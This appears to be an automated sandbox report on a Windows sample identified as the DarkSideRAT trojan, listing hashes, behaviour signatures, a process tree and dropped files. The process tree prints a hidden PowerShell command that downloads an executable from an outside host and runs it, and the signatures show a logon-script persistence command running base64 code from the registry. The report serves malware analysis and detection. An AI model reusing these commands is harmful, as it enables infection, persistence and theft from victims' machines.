Analysis
- user interaction
yes - max time kernel
148s - max time network
141s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
08/11/2026, 10:42
Static task
static1
Behavioral task
behavioral1
Sample
XUM.exe
Resource
win10v2004-20260911-en
Behavioral task
behavioral2
Sample
XUM.exe
Resource
win11ltsc2024-20260911-en
General
- Target XUM.exe
- Size 29KB
- Sample261108-mrpshszves
- SHA256 2402504638bd9cb8348c63a6cc2ee807c2ec2c2d12046e5899197b354e5ea66b
- MD5 b97cb4f5bad1f938422cdb80b89277f9
- SHA1 a49b8a6b1545fb5e33c774a20ca9c2db176b79c7
- SHA512 bb9db104df43fedbd783d0089a5fe68b9ab580791e532a700816eb760a2c4df60dbd0193948ab7c5a81776ae39010974b4e1df09d16d777465da3239a9a8a661
- SSDEEP 384:Aacn5dMuQT2A+mX6io5K4ErA8Dy+XgicYxzLUKfNMFDVQZYg4:Aacn9AFIKlrAJgcYxlNUDGZYg
- TLSH T125D25D5BA2D514EDC03BC1398A179D46E67270A55B50EFEB03A081F61EA2BD07F3D5C2
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Family: DarkSideRAT
DarkSideRAT is a remote access trojan.
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 5 4648 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 4648 powershell.exe - Downloads MZ/PE file 1 IoCs
flow pid Process 5 4648 powershell.exe - Executes dropped EXE 1 IoCs
pid Process 4156 BK253606.exe - Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Registers new Windows logon scripts automatically executed at logon. 1 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Environment\UserInitMprLogonScript = "C:\\Windows\\System32\\conhost.exe --headless C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -w hidden -nop -ep bypass -c \"&([ScriptBlock]::Create([System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String((Get-ItemProperty 'HKCU:\\Environment').UserCache)))))\"" BK253606.exe Set value (str) \REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Environment\UserInitMprLogonScript = "C:\\Windows\\System32\\conhost.exe --headless C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -w hidden -nop -ep bypass -c \"&([ScriptBlock]::Create([System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String((Get-ItemProperty 'HKCU:\\Environment').UserCache)))))\"" XUM.exe - Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\A: LsaIso.exe File opened (read-only) \??\B: LsaIso.exe File opened (read-only) \??\I: LsaIso.exe File opened (read-only) \??\N: LsaIso.exe File opened (read-only) \??\V: LsaIso.exe File opened (read-only) \??\Y: LsaIso.exe File opened (read-only) \??\K: LsaIso.exe File opened (read-only) \??\O: LsaIso.exe File opened (read-only) \??\Q: LsaIso.exe File opened (read-only) \??\S: LsaIso.exe File opened (read-only) \??\U: LsaIso.exe File opened (read-only) \??\Z: LsaIso.exe File opened (read-only) \??\D: LsaIso.exe File opened (read-only) \??\H: LsaIso.exe File opened (read-only) \??\J: LsaIso.exe File opened (read-only) \??\L: LsaIso.exe File opened (read-only) \??\P: LsaIso.exe File opened (read-only) \??\X: LsaIso.exe File opened (read-only) \??\G: LsaIso.exe File opened (read-only) \??\M: LsaIso.exe File opened (read-only) \??\R: LsaIso.exe File opened (read-only) \??\T: LsaIso.exe File opened (read-only) \??\W: LsaIso.exe - Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4928 cmd.exe 2984 cmd.exe - Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname XUM.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain XUM.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname BK253606.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain BK253606.exe - System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 4508 PATHPING.EXE - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 LsaIso.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString LsaIso.exe - Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4648 powershell.exe 4648 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4648 powershell.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 4064 LsaIso.exe - Suspicious use of WriteProcessMemory 30 IoCs
description pid Process procid_target PID 3392 wrote to memory of 4928 3392 XUM.exe 88 PID 4928 wrote to memory of 2984 4928 cmd.exe 90 PID 2984 wrote to memory of 4648 2984 cmd.exe 92 PID 4648 wrote to memory of 4156 4648 powershell.exe 93 PID 4156 wrote to memory of 4064 4156 BK253606.exe 94 PID 4156 wrote to memory of 4064 4156 BK253606.exe 94 PID 4156 wrote to memory of 4064 4156 BK253606.exe 94 PID 4156 wrote to memory of 4064 4156 BK253606.exe 94 PID 4156 wrote to memory of 4064 4156 BK253606.exe 94 PID 4156 wrote to memory of 4064 4156 BK253606.exe 94 PID 4156 wrote to memory of 4064 4156 BK253606.exe 94 PID 4156 wrote to memory of 4064 4156 BK253606.exe 94 PID 3392 wrote to memory of 4508 3392 XUM.exe 95 PID 3392 wrote to memory of 4508 3392 XUM.exe 95 PID 3392 wrote to memory of 4508 3392 XUM.exe 95 PID 3392 wrote to memory of 4508 3392 XUM.exe 95 PID 3392 wrote to memory of 4508 3392 XUM.exe 95 PID 3392 wrote to memory of 4508 3392 XUM.exe 95 PID 3392 wrote to memory of 4508 3392 XUM.exe 95 PID 3392 wrote to memory of 4508 3392 XUM.exe 95 PID 4064 wrote to memory of 5980 4064 LsaIso.exe 97 PID 4064 wrote to memory of 3840 4064 LsaIso.exe 99 PID 4064 wrote to memory of 3840 4064 LsaIso.exe 99 PID 4064 wrote to memory of 3840 4064 LsaIso.exe 99 PID 4064 wrote to memory of 3840 4064 LsaIso.exe 99 PID 4064 wrote to memory of 3840 4064 LsaIso.exe 99 PID 4064 wrote to memory of 3840 4064 LsaIso.exe 99 PID 4064 wrote to memory of 3840 4064 LsaIso.exe 99 PID 4064 wrote to memory of 760 4064 LsaIso.exe 103 PID 4064 wrote to memory of 1628 4064 LsaIso.exe 105
Processes
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C:\Users\Admin\AppData\Local\Temp\XUM.exe"C:\Users\Admin\AppData\Local\Temp\XUM.exe"1⤵
- Registers new Windows logon scripts automatically executed at logon.
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of WriteProcessMemory
PID:3392 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://www.vcc-data.bond/Stb/Retev.php?bl=09T5ScEnA5aRj3PyXjPRE017.txt' -OutFile $env:APPDATA\BK253606.exe; Start-Process -FilePath $env:APPDATA\BK253606.exe -WindowStyle Hidden }"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4928 -
C:\Windows\system32\cmd.execmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://www.vcc-data.bond/Stb/Retev.php?bl=09T5ScEnA5aRj3PyXjPRE017.txt' -OutFile $env:APPDATA\BK253606.exe; Start-Process -FilePath $env:APPDATA\BK253606.exe -WindowStyle Hidden }"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2984 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://www.vcc-data.bond/Stb/Retev.php?bl=09T5ScEnA5aRj3PyXjPRE017.txt' -OutFile $env:APPDATA\BK253606.exe; Start-Process -FilePath $env:APPDATA\BK253606.exe -WindowStyle Hidden }"4⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Downloads MZ/PE file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4648 -
C:\Users\Admin\AppData\Roaming\BK253606.exe"C:\Users\Admin\AppData\Roaming\BK253606.exe"5⤵
- Executes dropped EXE
- Registers new Windows logon scripts automatically executed at logon.
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of WriteProcessMemory
PID:4156 -
C:\Windows\System32\LsaIso.exe"C:\Windows\System32\LsaIso.exe"6⤵
- Enumerates connected drives
- Checks processor information in registry
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4064 -
C:\Windows\system32\cmd.exe/c dir /a /s /b C:\*imgui_impl_win32.cpp C:\*.suo C:\*.exe C:\*.vcxproj > C:\ProgramData\CDat.bin17⤵PID:5980
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C:\Windows\System32\SensorDataService.exe"C:\Windows\System32\SensorDataService.exe"7⤵PID:3840
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C:\Windows\system32\cmd.exe/c dir /a /s /b E:\*imgui_impl_win32.cpp E:\*.suo E:\*.exe E:\*.vcxproj > C:\ProgramData\EDat.bin17⤵PID:760
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C:\Windows\system32\cmd.exe/c dir /a /s /b F:\*imgui_impl_win32.cpp F:\*.suo F:\*.exe F:\*.vcxproj > C:\ProgramData\FDat.bin17⤵PID:1628
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C:\Windows\System32\PATHPING.EXE"C:\Windows\System32\PATHPING.EXE"2⤵
- System Network Configuration Discovery: Internet Connection Discovery
PID:4508
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Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\ProgramData\CDAT.bin1
- Size 349KB
- SHA256 50bc85893dc1e5fb7a400cd467b6eb5dc0c3d88ec2a8bcb3dff218cb7033bd65
- MD5 dbda3aeb007ab64f82b3bf4dd9218fbb
- SHA1 ee29572a24c14dca46e32abb48076c10f11696c5
- SHA512 7a147905086a1375b597ac9be1d44dbedb4a0ee947e7cb03783796af165484c1b74e24624f0e76b88e9e96396ef1b77618b365abf95ee73899a439e01b1fa101
- SSDEEP 3072:o+ZcjuwzZr7/bUZi2LoWti7qtIpikel+N5R:p29r7/mo97qtIpikel+bR
- TLSH T108748D22C52186F2AC331453B3AF5E23F03A16477F4249A263DD8585FC829D76B266F7
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751
- Size 808B
- SHA256 3dd5ea8a14eb665ba6057d424f94e5e83757ffaab456578dbf038af04053b19e
- MD5 878e958d6bff424e59d1feb51584a01f
- SHA1 b11261559bbea40f1874448196e2934277a537e9
- SHA512 6481a56d17126cf94901bed6f418af28f63089da57af4258fb13e468063c4d7849f78ca00a0e4a72c249a639afc8304669f99e48a360008f8e64172ab3133213
- TLSH T18D0152CD6E2925408AB18A334AB9C4970DB9724A3AD5910C4453A4A024D07588F0F54E
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\1B1495DD322A24490E2BF2FAABAE1C61
- Size 355B
- SHA256 12fd0590708bb38d8039bc994178acee8a3d220f0cd194b0f1c2fc9ba622f927
- MD5 53ae64e9ee4ba962ee4b516077735710
- SHA1 dae8a6fd15a9c447cdb2778f63880db25b0dd198
- SHA512 ec31df0d1fbf225bc5a884ee8324aab6e2aa43031bede210b04677ed825966c8ebc0693b06d8f0e55de2cd5919b95a7b25691b6ae1fab893f58756e08836a168
- TLSH T1BFE0C08867AC24200AB19E539550C4936FBE31892970B05C8251CBED30C1A58C28B30F
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\22D536C4B4AD2CEF7AC6B7789FD235E3
- Size 283B
- SHA256 251ed08cc8f5873098ea5ee083034e7cd99ece955920e12a42e50306a94cb6eb
- MD5 7f9d3dc54f928bf6c38576705ad18203
- SHA1 2b5e33e5301753684973bfddbc6cfb11d297cf90
- SHA512 ef5b01e74a5e49cd0fe887b9d92d830e1052bd93cda7d11ee68829705432a21a9943535de8dff9d77eb3402253adf9d5760eda03ca80a0c3495f83396d648967
- TLSH T102D0C29CA9273E660FE69B454A50C087AEE610CA9C15B648008EC45B0887B02EA962AE
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7DB15623A51DDA737CD30F4D6F8EFB26
- Size 98KB
- SHA256 da0cc7aee12db9d25231d7a8f35eb32c20e39afb1142611cc37014ea26ff5b6b
- MD5 f9189a92b4f18212507a3075563a539b
- SHA1 0729b5492b274b62e57ff312962e1167770eda0e
- SHA512 24a918a7a2e786e428c1a9c8a7408e63934ae9ecb8c8edd467862214f96385d803c28f383e875bfb8a97a7dc3ea3483cc2150f376209c64e874c5781b7506952
- SSDEEP 1536:5Oq4mUm2iB53xPqWhfLMNKDao5CiworokR2FtaMIxtA8X5c6Q:3UmzUvcCiwnTFtnIo8X5c6Q
- TLSH T180A3AE98DDA6F0935D86EC61DCC77D9B89F025573382952B2AA35FC40C1BBCB8DA58C0
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751
- Size 192B
- SHA256 15e0cebcbe3f5ece2fdb9217c30f16d6c62dc9217f47da884b0538079d5ee06e
- MD5 8a815fe2f0ef578620ffeada90d9b461
- SHA1 60a70650853c97a6f368086cc869b01b65ac7c86
- SHA512 93d3f1621bb793e592c09a1f84fb823c6258c1f48501d34515f69fbcb56ee2d20c2a75ce7cfbd1dec498b5c6f3c9e3fa27d8298eb5d44592a4e02f9828eae273
- TLSH T105C022082A820200F288033C22A032028BA08200E0808F0A0AF20A0A822BA0A3820E3B
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751
- Size 192B
- SHA256 33e247473f1175d5ab55920514b94589a767ad11f896bd07fc8dafdc8d8bd246
- MD5 8a95dabcd8ca78de8db5e72ce4bfa133
- SHA1 9eb3cea3e93c91c2b0669d35ea1d690a6f93371a
- SHA512 fbf0f5ff150a045e35cbfbaa744f57f719c77dd9a275a75cbe37aa8f3489b1f19c1aa9eaa7333ab27155d268f5252b2e4558c78808fbb49c28ddd4e97b3942d7
- TLSH T1E1C08C2C1AA20A06F2A8437C12D13A039B218101E2418F051AF22A09C997B162838C3A
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\1B1495DD322A24490E2BF2FAABAE1C61
- Size 192B
- SHA256 b213655d9206938a74425ca881c8cbfcc14dc76befbfd76f61e061009f4b2547
- MD5 5c666e6391c6321d2dd63c24e456fb53
- SHA1 a1424d7f534e4be0556bdc26c8eaf850221560ba
- SHA512 a479b91ca47cefaae0b9a0ab9a06529513ac382189c48d558734b7685d7519944d0dde151fa2e5185700462cd0a7a1d327bd78fb855f170f9de9099b9a8f737c
- TLSH T136C08C1C4A620A06F2E887BD02D22D039B218820F7458F1116B12A08CC11F912C34C28
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\22D536C4B4AD2CEF7AC6B7789FD235E3
- Size 192B
- SHA256 1223b3783bde9a027f4c595eec9aea2de21fd3a4330b77975551b2b30a5dcfc3
- MD5 43f150580ccf647f3045d6c1b1d7617e
- SHA1 198c8eb051d433d2cd1f4780a7e2427651e5bbbb
- SHA512 f784d21e8ad843a12fd158c4a89bed6d87eceb60fde688ed37aaf1155f1798425a81564528219b58c9a9df739cf02ea1ee542a9321af8bdf6dcb0ba73abf9f32
- TLSH T192C08C181BAA0606F2E80BBE22E02A83AA25D001F2818F1A263E2B488D10B151C34C1C
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7DB15623A51DDA737CD30F4D6F8EFB26
- Size 248B
- SHA256 6393d16f95e52e6d4464930205a9737cd3664e68245c9ce4cde150596417d60e
- MD5 8ed77b71dc996c81fe6e6cd6dbf99a90
- SHA1 8a44bd6783b74dca45bbff7ff215d58ffc5253dc
- SHA512 5f659c840e75fbd3dd20731e4cd94b97a7c05c32a2d7a7ecea257394fb36f8a11169740e1f6eadd6f97acfd39b6ae0826604fda36779f1dc6297e6c21102590b
- TLSH T10AD0222C3F6A0132F1E9C23F44A40300A2305523F9724F091FBF1F288868C401892D2E
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Roaming\BK253606.exe
- Size 28KB
- SHA256 705911dac13030a8c8cc01959e22b193c9c0920c965350ab6a1a0311b2d14ed3
- MD5 a06e5db79df1b80d2c7baa8575623615
- SHA1 392e9bcdf2b8e0a69addf6bbc1ee0853a8e57a37
- SHA512 d257b35f5de717de5088d613aa96df8f7dc939bdeeaf44d37305980b13283347391d78a371516f784e902157ae70fc15a17caf427664298944b42d75de2d4b9c
- SSDEEP 384:t58knG2eeeX6UUeTv3rAHtyrPja1AZyPHcVn6zE70zMFDVJZs2jUv:tPfa1TvrAwy1AZyPBE7YUDLZs
- TLSH T18CD25B67B68414DDD13AC2348E436A4BE67270651B50EBEB07A045F50EE2BE07F3DAC6
- MD5 SHA1 SHA512 SSDEEP TLSH